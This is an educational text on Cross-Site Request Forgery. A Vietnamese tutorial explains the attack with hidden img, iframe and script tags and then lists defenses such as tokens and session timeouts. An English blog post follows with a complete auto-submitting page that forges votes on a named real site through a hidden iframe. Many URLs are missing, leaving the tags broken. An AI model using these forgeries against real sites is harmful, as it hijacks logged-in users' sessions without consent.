CSRF ( Cross Site Request Forgery ) là kĩ thuật tấn công bằng cách sử dụng
quyền chứng thực của người sử dụng đối với 1 website khác.Các ứng dụng web
hoạt động theo cơ chế nhận các câu lệnh http từ người sử dụng,sau đó thực thi
các câu lệnh này.
CSRF sẽ lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng
dụng web.Trong trường hợp phiên làm việc của người dùng chưa hết hiệu lực thì
các câu lệnh trên sẽ dc thực hiện với quyền chứng thực của người sử dụng.
CSRF còn dc gọi là "session riding", "XSRF"
Các kiểu tấn công CSRF xuất hiện từ những năm 1990,tuy nhiên các cuộc tấn
công này xuất phát từ chính IP của người sử dụng nên log file của các website k
cho thấy các dấu hiệu của CFRS.Các cuộc tấn công theo kĩ thuật CSRF k dc báo
cáo đầy đủ,đến năm 2007 mới có một vài tài liệu miêu tả chi tiết về các trường
hợp tấn công CSRF.
Năm 2008 người ta phát hiện ra có khoảng 18 triệu người sử dụng eBay ở Hàn
Quốc mất các thông tin cá nhân của mình.Cũng trong năm 2008,một số khách
hàng tại ngân hàng Mexico bị mất tài khoản cá nhân của mình.Trong 2 trường hợp
kể trên hacker đều sử dụng kĩ thuật tấn công CSRF
Bob duyệt qua 1 diễn đàn yêu thích của mình như thường lệ.Một người dùng
khác,Malory ,đăng tải 1 thông điệp lên diễn đàn .Giả sử rằng Malory có ý đồ k tốt
và anh ta muốn lấy tiền từ những người có tài khoản tại ngân hàng như
Bob.Malory sẽ tạo 1 thông báo,trong đó có chèn 1 đoạn code như sau:
Mexico Bank has just announce a new interest rate....
<img height=0" width="0" src=" />account=bob_id&amount=1000000&for=Malory_ id"/>
Đoạn mã trên dc che giấu rất khéo,thứ nhất nó thêm các thông điệp bình thường
để người dùng không chú ý.Thứ hai thẻ "<img" sử dụng trong trường hợp này có
kích thước 0x0 pixel và người dùng sẽ k thấy dc
Giả sử Bob vừa mới truy cập vào tài khoản ngân hàng của mình và chưa thực hiện
logout để kết thúc.Trình duyệt của Bob sẽ gửi câu lệnh
http get đến địa chỉ lưu trong thẻ "<img" trong đoạn mã trên và nó sẽ dc thực
hiện bằng quyền chứng thực của Bob.
Trong ví dụ trên hacker có thể sử dụng 1 URL khác ,ví dụ :

để xóa đi một dự
án quan trọng nào đó mà Bob đang làm.
Một chú ý là cần phải có 1 chút kĩ thuật Social Engineering để có thể biết dc victim
sử dụng tài khoản ngân hàng nào,account của dịch vụ nào và forum thường hay
vào là gì.Xem thêm Social Engineering
Ngoài thẻ "<img" ,các thẻ html có thể sử dụng kĩ thuật trên có thể là:
<iframe height="0" width="0" src=" />account=bob_id&amount=1000000&for=Malory_ id"/>
<link ref="stylesheet" href=" />account=bob_id&amount=1000000&for=Malory_ id" type="text/css"/>
<bgsound src=" />account=bob_id&amount=1000000&for=Malory_ id"/>
<background src=" />account=bob_id&amount=1000000&for=Malory_ id"/>
<script type="text/javascript" src=" />account=bob_id&amount=1000000&for=Malory_ id"/>
Các kĩ thuật CSRF rất đa dạng,lừa người dùng click vào link,gửi email chứa các
đoạn mã độc đến người dùng...Hacker còn có thể che giấu các link ở trên rất khéo
léo.Ví dụ trong trường hợp thẻ "<img",người dùng có thể nhận ra nếu vào đường
link chứa trong src=" />account=bob_id&amount=1000000&for=Malory_ id"/>.
Tuy nhiên người dùng sẽ rất có phát hiện nếu hacker dùng đường link như sau :
<img height="0" width="0" src="
và cấu hình lại máy chủ
Redirect 302/abc.jpg />account=bob_id&amount=1000000&for=Malory_ id"/>
Kết thúc vấn đề kĩ thuật tại đây.Bạn có thể xem thêm một số chủ đề có liên quan:
<INPUT TYPE="password" name= AUTOCOMPLETE="off">
CEH v6 Module 12 : Phishing
CEH v6 Module 13 :Hacking Email Account
Social Engineering
XSS
CSRF SECURE
Dựa trên nguyên tắc của CSRF "lừa trình duyệt của người dùng(hoặc người dùng)
gửi các câu lệnh http",các kĩ thuật phòng tránh sẽ tập trung vào viêc tìm cách
phân biệt hạn chế các câu lệnh giả mạo.
Có nhiều lời khuyến cáo dc đưa ra ,tuy nhiên cho đến nay vẫn chưa có biện pháp

nào có thể phòng chống triệt để CSRF.Sau đây là một vài kĩ thuật sử dụng.
HẠN CHẾ THỜI GIAN HIỆU LỰC CỦA SESSION (SESSION TIMEOUT)
Tùy theo ngôn ngữ hoặc web server dc sử dụng mà các thực hiện có thể rất khác
nhau.Với PHP,thông số "session.gc_maxlifetime" trong file php.ini qui định thời
gian hiệu lực của session.
Nếu lập trình viên sử dụng ngôn ngữ k hỗ trợ chức năng này và họ phải quản lý
session bằng CSDL (ví dụ lưu bảng session...) hay bằng các file tạm (ví
dụ /tmp/session/) thì họ sẽ viết các chương trình hỗ trợ việc xóa các session này
(cron job,scheduler...)
SỬ DỤNG GET VÀ POST HỢP LÍ
Phương thức GET dc dùng để truy vấn dữ liệu,đối với các thao tác tạo ra sự thay
đổi hệ thống thì các phương thức khác như POST hay PUT sẽ dc sử dụng (theo
khuyến cáo của W3C-tổ chức tạo ra chuẩn http)
SỬ DỤNG CAPTCHA,SỬ DỤNG CÁC THÔNG BÁO XÁC NHẬN.
Captcha dc sử dụng để nhận biết đối tượng đang thao tác với hệ thống là con
người hay k?Các thao tác quan trọng như"đăng nhập" hay là " chuyển
khoản" ,"thanh toán" thường là hay sử dụng captcha.Tuy nhiên ,việc sử dụng
captcha có thể gây khó khăn cho một vài đối tượng người dùng và làm họ khó
chịu.
Các thông báo xác nhận cũng thường dc sử dụng,ví dụ như việc hiển thị một
thông báo xác nhận "bạn có muốn xóa hay k" cũng làm hạn chế các kĩ thuật
SỬ DỤNG TOKEN
Tạo ra một token tương ứng với mỗi form,token này sẽ là duy nhất đối với moit64
form và thường thì hàm tạo ra token này sẽ nhận đối số là"session".Khi nhận lệnh
http post về,hệ thống sẽ thực hiên so khớp giá trị token này để quyết định có
thực hiện hay k.
Một số framework hiện nay đã hỗ trợ tạo token như là: aspnet webform,ruby on
rails,django.
Mã:
def authenticity_token_from_session_id

key = if request_forgery_protection_options[:secret].respond_to?
(:call)request_forgery_protection_options[:secret].call(@session)
else
request_forgery_protection_options[:secret]
end
digest = request_forgery_protection_options[:digest]||= 'SHA1'
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(digest),key.to_s,ses
sion.session_id.to_s)
end
Đây là một đoạn mã Ruby tạo token session của người dùng.Token này dc tạo từ
1 sesstion và 1 "secretekey" ( khóa bí mật-do người xây ứng dụng tạo ra )
Mã:
<a href="/dockets/1"
onclick="if (confirm('Are you sure?'))
[var f = document.
createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = this.href
var m = document.
createElement('input');
m.setAttribute('type','hidden');
m.setAttribute('name','_method');
m.setAttribute('value','delete');
f.appendChild(m);
var s = document.
createElement('type','hidden');
s.setAttribute('name','authenticity_token');
s.setAttribute('value','4a21023fcbb630120a747e317f-f6a1bc912797e');

f.appendChild(s);f.submit(););
return false;">
Destroy
</a>
Đoạn mã trên sử dụng phương thức POST để thực hiện thao tác xóa ,đồng thời
nó cũng hiển thị thông báo,đòi hỏi người dùng phải xác nhận.Nó còn sử dụng
thêm 1 "authenticity_token".
Bên phía máy chủ,trước khi thực hiện phương thức "xóa" theo 1 đoạn mã trên thì
chương trình sẽ kiểm tra xem câu lệnh http gửi đến có phải là post k
SỬ DỤNG COOKIE RIÊNG BIỆT CHO PHẦN QUAN TRỊ.
Một cookie k thể dùng chung cho các domain khác nhau,chính vì vậy việc sử dụng
"admin.site.com" thay vì sử dụng" site.com/admin" là an toàn hơn
THIẾT KẾ HỆ THỐNG LOG
Một vài framework ghi tất cả thông tin,dữ liệu xử lý vào các file log.Điều này rất
nguy hiểm nếu như đó là các thông tin nhạy cảm như mật khẩu ,số tài khoản.
KIỂM TRA REFERRER
Kiểm tra xem các câu lệnh http gửi đến hệ thống xuất phát từ đâu.Một ứng dụng
web có thể hạn chế chỉ thực hiện các lệnh http gửi đến từ các trang đã dc chứng
thực.
Tuy nhiên cách làm này có nhiều hạn chế và k thật sự hiệu quả.
KIỂM TRA IP.
Một số hệ thống quan trọng chỉ cho truy cập từ những IP dc thiết lập sẵn
Kĩ thuật CSRF còn có thể dc sử dụng với kĩ thuật XSS ( Cross Site
Scipting ) để tạo ra những cách tấn công tinh vi hơn
CSRF by Example, How to do it, How to
defend it
July 6, 2009 07:45 by
For a little bit of background I would recommend that you read the article that I originally
wrote titled XSS by Example. I was originally intrigued by Cross Site Scripting and
decided to give it a try. As dblackshell pointed out in the comments what I had originally

attempted was CSRF or Cross Site Request Forgery. Following the link he put in the
article and reading up a bit more I finally figured out how to perform a Cross Site Request
Forgery to kick an Article at DotNetKicks.com (a rating site similar to Digg for .Net
developers).
CSRF what didn't work
If you read my previous article you would have seen my first two failed attempts at
CSRF. In one attempt I tried a cross site AJAX post which the browser wouldn't allow. In
my second attempt I tried to load DotNetKicks in an IFrame and then manipulate it from
my web page which the browser didn't allow.
CSRF what did work
I knew that the request needed to be a post so what I finally ended up getting to work was a
Form with an action that posted the values to DotNetKicks.com. Below is an image from
Firebug showing the request that I needed to forge.
AJAX can make CSRF difficult
If you are familiar with Firebug than you can clearly tell that the post above is an AJAX
post using JSON and not simply a name value pair. At first I had a difficult time
duplicating the request as the following type of form would not work.
view plain copy to clipboard print ?
1. <form>
2. <input type="hidden" name="id" value="1" />
3. <input type="hidden" name="method" value="kickStory" />
4. <input type="hidden" name="params" value="41812" />
5. <input type="hidden" name="params" value="true" />
6. </form>

What I finally got to work was an input element with a blank name and a value of the
JSON string that I wanted to replicate. Below is the code that will vote for whatever article
you choose.
view plain copy to clipboard print ?
1. <html xmlns="

2. <head id="Head1" runat="server">
3. <title>RunXc CSRF example</title>
4. <script type="text/javascript"
5. src="
6. <script type="text/javascript">
7. $(document).ready(function() {
8. var kickit = location.search.substring(4);
9. $('#hidDiv').html(
10. '<form name="csrf" id="csrf" ' +
11. 'action=" method="p
ost">' +
12. ' <input type="hidden" name="" value=' + "'" +
13. '{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/>' +
14. ' </form>');
15. document.getElementById("csrf").submit();
16. });
17.
18. </script>
19. </head>
20. <body>
21. <form id="form1" runat="server">
22. <div>
23. </div>
24. </form>
25. <div id="hidDiv" style="display:none;">
26. </div>
27. </body>
28. </html>
If you create an ASPX page using the html above you can coerce anyone on your website
to kick an article of your choosing (as long as they are still logged on at DotNetKicks.com.

remember that is how CSRF works) with a simple Iframe somewhere else on your site that
looks like this.
view plain copy to clipboard print ?
1. <iframe id="dnk" name="dnk" src="csrf.aspx?id=43310" ></iframe>

Now that I know this what should I do?
Information is power. I hope with this little script that anyone who has a website that
could be targeted by CSRF that they might be able to hack their own site and then figure
out how to protect their site from it. You need to understand how hackers will attack your
site to be able to protect yourself from it. I know that you can use a hidden field and
validate the value against what you sent out but I would like to know what others are doing
to protect against this kind of attack.